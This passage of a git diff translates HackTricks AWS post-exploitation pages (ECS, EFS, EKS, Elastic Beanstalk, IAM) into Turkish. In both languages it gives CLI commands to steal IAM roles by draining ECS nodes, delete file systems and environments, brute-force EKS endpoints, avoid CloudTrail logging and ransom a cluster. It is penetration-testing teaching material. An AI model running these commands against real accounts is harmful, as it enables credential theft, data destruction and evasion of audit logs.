nasıl alacağınız hakkında daha fazla bilgi için kontrol edin: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 meta verilerine erişimi imkansız hale getirir. -### Privesc to node to steal other containers creds & secrets +### Diğer konteynerlerin kimlik bilgilerini ve sırlarını çalmak için node'a yükselme -But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. +Ayrıca, EC2, EC'lerin görevlerini çalıştırmak için docker kullanır, bu nedenle node'a kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz.** -#### Making containers run in current host - -Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. +#### Konteynerleri mevcut hostta çalıştırma +Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncellemek için yeterli izinlere** sahip olacaktır. Bir saldırgan, bir örneğin durumunu **DRAINING** olarak değiştirebilir, ardından ECS **ondan tüm görevleri kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılacaktır, bu da potansiyel olarak **saldırganın örneği** içinde olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir. ```bash aws ecs update-container-instances-state \ - --cluster --status DRAINING --container-instances +--cluster --status DRAINING --container-instances ``` - -The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** - +Aynı teknik **EC2 örneğini kümeden kaydını silerek** yapılabilir. Bu potansiyel olarak daha az gizli olabilir ama **görevlerin diğer örneklerde çalıştırılmasını zorlayacaktır:** ```bash aws ecs deregister-container-instance \ - --cluster --container-instance --force +--cluster --container-instance --force ``` - -A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: - +Son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ - --status STOPPED --reason "anything" --containers [...] +--status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... @@ -55,13 +50,8 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +### ECR konteynerlerinden hassas bilgileri çal -### Steal sensitive info from ECR containers - -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). +EC2 örneği muhtemelen **görüntüleri indirmesine** izin veren `ecr:GetAuthorizationToken` iznine de sahip olacaktır (içlerinde hassas bilgiler arayabilirsiniz). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 35b644689..6e5554ec8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - EFS Post Exploitation +# AWS - EFS Son Sömürü {{#include ../../../banners/hacktricks-training.md}} ## EFS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,47 +12,35 @@ For more information check: ### `elasticfilesystem:DeleteMountTarget` -An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target. - +Bir saldırgan, bir montaj hedefini silebilir, bu da o montaj hedefine bağımlı olan uygulamalar ve kullanıcılar için EFS dosya sistemine erişimi kesintiye uğratabilir. ```sql aws efs delete-mount-target --mount-target-id ``` - -**Potential Impact**: Disruption of file system access and potential data loss for users or applications. +**Potansiyel Etki**: Dosya sistemi erişiminin kesintiye uğraması ve kullanıcılar veya uygulamalar için potansiyel veri kaybı. ### `elasticfilesystem:DeleteFileSystem` -An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system. - +Bir saldırgan, tüm EFS dosya sistemini silebilir, bu da veri kaybına yol açabilir ve dosya sistemine bağımlı uygulamaları etkileyebilir. ```perl aws efs delete-file-system --file-system-id ``` - -**Potential Impact**: Data loss and service disruption for applications using the deleted file system. +**Potansiyel Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi. ### `elasticfilesystem:UpdateFileSystem` -An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion. - +Bir saldırgan, EFS dosya sistemi özelliklerini, örneğin, verimlilik modunu güncelleyerek performansını etkileyebilir veya kaynak tükenmesine neden olabilir. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` +**Potansiyel Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi. -**Potential Impact**: Degradation of file system performance or resource exhaustion. - -### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint` - -An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system. +### `elasticfilesystem:CreateAccessPoint` ve `elasticfilesystem:DeleteAccessPoint` +Bir saldırgan, erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` - -**Potential Impact**: Unauthorized access to the file system, data exposure or modification. +**Potansiyel Etki**: Yetkisiz erişim, veri ifşası veya değişikliği. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index eb1f77f46..7d5143d82 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -4,110 +4,101 @@ ## EKS -For mor information check +Daha fazla bilgi için kontrol edin {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### AWS Konsolundan küme listeleme -If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +**`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini görüntüleyebilirsiniz** ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Connect to AWS Kubernetes Cluster - -- Easy way: +### AWS Kubernetes Kümesine Bağlanma +- Kolay yol: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` +- Kolay bir yol değil: -- Not that easy way: - -If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. - -In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): +Eğer **`aws eks get-token --name `** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e** ihtiyacınız var (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adını** bilmeniz gerekiyor. +Benim durumumda, CloudWatch loglarında bilgiyi bulamadım, ama **LaunchTemplates userData'da** ve **EC2 makinelerinde userData'da** buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin bir sonraki örnekte (cluster adı cluster-name idi): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false ``` -
-kube config - +kube yapılandırması ```yaml describe-cache-parametersapiVersion: v1 clusters: - - cluster: - certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== - server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com - name: arn:aws:eks:us-east-1::cluster/ +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ contexts: - - context: - cluster: arn:aws:eks:us-east-1::cluster/ - user: arn:aws:eks:us-east-1::cluster/ - name: arn:aws:eks:us-east-1::cluster/ +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ current-context: arn:aws:eks:us-east-1::cluster/ kind: Config preferences: {} users: - - name: arn:aws:eks:us-east-1::cluster/ - user: - exec: - apiVersion: client.authentication.k8s.io/v1beta1 - args: - - --region - - us-west-2 - - --profile - - - - eks - - get-token - - --cluster-name - - - command: aws - env: null - interactiveMode: IfAvailable - provideClusterInfo: false +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false ``` -
-### From AWS to Kubernetes +### AWS'den Kubernetes'e -The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. +**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **kümenin kim tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **bir yolu** yoktur. -The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**. +**AWS IAM kullanıcıları veya rolleri için K8s'e erişim vermenin** yolu **`aws-auth`** **configmap'ini** kullanmaktır. > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> Bu nedenle, **`aws-auth`** config map üzerinde **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**. -For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**privesc bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +Ayrıca [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **yazıyı kontrol edin, IAM -> Kubernetes kimlik doğrulamasının nasıl çalıştığını öğrenin**. -### From Kubernetes to AWS +### Kubernetes'ten AWS'ye -It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasını** sağlayarak AWS'de rolleri üstlenmelerine izin vermek mümkündür. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint from a JWT Token - -Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +### JWT Token'dan Api Sunucu Uç Noktasını Almak +JWT token'ı çözümleyerek küme kimliğini ve ayrıca bölgeyi alırız. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url'sinin standart formatının olduğunu bilmekteyiz. ```bash https://...eks.amazonaws.com ``` - -Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one: +Dokümantasyonda 'iki karakter' ve 'sayı' için kriterleri açıklayan bir şey bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum: - gr7 - yl4 -Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list - +Her halükarda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın. ```python from itertools import product from string import ascii_lowercase @@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) number_combinations = product('0123456789', repeat = 1) result = [ - f'{''.join(comb[0])}{comb[1][0]}' - for comb in product(letter_combinations, number_combinations) +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) ] with open('out.txt', 'w') as f: - f.write('\n'.join(result)) +f.write('\n'.join(result)) ``` - -Then with wfuzz - +Sonra wfuzz ile ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` - > [!WARNING] -> Remember to replace & . +> & ve 'yi değiştirmeyi unutmayın. -### Bypass CloudTrail +### CloudTrail'ı Atlatma -If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). +Eğer bir saldırganın **EKS üzerinde izinleri olan bir AWS** kimlik bilgileri elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur). -So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. +Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**. -Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). +**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak devre dışıdır). -### EKS Ransom? +### EKS Fidye? -By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. +Varsayılan olarak, bir küme oluşturan **kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir. -So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. +Yani, eğer bir **saldırgan fargate kullanarak bir kümeyi ele geçirirse** ve **diğer tüm yöneticileri kaldırırsa** ve **küme oluşturan AWS kullanıcı/rolünü silerse**, ~~saldırgan **küme için fidye talep edebilir**~~**. > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. +> Eğer küme **EC2 VM'leri** kullanıyorsa, **Node** üzerinden Yönetici ayrıcalıkları almak ve kümeyi kurtarmak mümkün olabilir. > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> Aslında, eğer küme Fargate kullanıyorsa, EC2 düğümlerini alabilir veya her şeyi EC2'ye taşıyabilir ve düğümdeki token'lara erişerek kurtarabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6267ee02f..0bed51af4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -4,7 +4,7 @@ ## Elastic Beanstalk -For more information: +Daha fazla bilgi için: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -13,72 +13,58 @@ For more information: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up. +> TODO: Daha fazla izin gerekip gerekmediğini test et +`elasticbeanstalk:DeleteApplicationVersion` iznine sahip bir saldırgan, **mevcut bir uygulama sürümünü silebilir**. Bu eylem, uygulama dağıtım hatlarını kesintiye uğratabilir veya yedeklenmemişse belirli uygulama sürümlerinin kaybına neden olabilir. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` - -**Potential Impact**: Disruption of application deployment and potential loss of application versions. +**Potansiyel Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı. ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups. +> TODO: Daha fazla izin gerekip gerekmediğini test et +`elasticbeanstalk:TerminateEnvironment` iznine sahip bir saldırgan, **mevcut bir Elastic Beanstalk ortamını sonlandırabilir**, bu da uygulama için kesintiye ve ortam yedeklemeleri yapılandırılmamışsa potansiyel veri kaybına neden olabilir. ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` - -**Potential Impact**: Downtime of the application, potential data loss, and disruption of services. +**Potansiyel Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması. ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up. +> TODO: Daha fazla izin gerekip gerekmediğini test et +`elasticbeanstalk:DeleteApplication` iznine sahip bir saldırgan, **tüm Elastic Beanstalk uygulamasını**, tüm sürümleri ve ortamlarıyla birlikte **silme** yetkisine sahiptir. Bu eylem, yedeklenmemişse uygulama kaynakları ve yapılandırmalarında önemli bir kayba neden olabilir. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` - -**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss. +**Potansiyel Etki**: Uygulama kaynaklarının, yapılandırmaların, ortamların ve uygulama sürümlerinin kaybı, hizmet kesintisine ve potansiyel veri kaybına yol açabilir. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior. +> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et +`elasticbeanstalk:SwapEnvironmentCNAMEs` iznine sahip bir saldırgan, **iki Elastic Beanstalk ortamının CNAME kayıtlarını değiştirebilir**, bu da uygulamanın yanlış sürümünün kullanıcılara sunulmasına veya istenmeyen davranışlara yol açabilir. ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` - -**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments. +**Potansiyel Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management. +> TODO: Bunun için daha fazla izne ihtiyaç olup olmadığını test et +`elasticbeanstalk:AddTags` ve `elasticbeanstalk:RemoveTags` izinlerine sahip bir saldırgan, **Elastic Beanstalk kaynaklarına etiket ekleyebilir veya kaldırabilir**. Bu eylem, yanlış kaynak tahsisine, faturalandırmaya veya kaynak yönetimine yol açabilir. ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` - -**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags. +**Olası Etki**: Eklenen veya kaldırılan etiketler nedeniyle yanlış kaynak tahsisi, faturalama veya kaynak yönetimi. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index f734122e8..77a7c2159 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,7 +4,7 @@ ## IAM -For more information about IAM access: +IAM erişimi hakkında daha fazla bilgi için: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,96 +12,82 @@ For more information about IAM access: ## Confused Deputy Problem -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. +Eğer **bir dış hesabın (A)** sizin 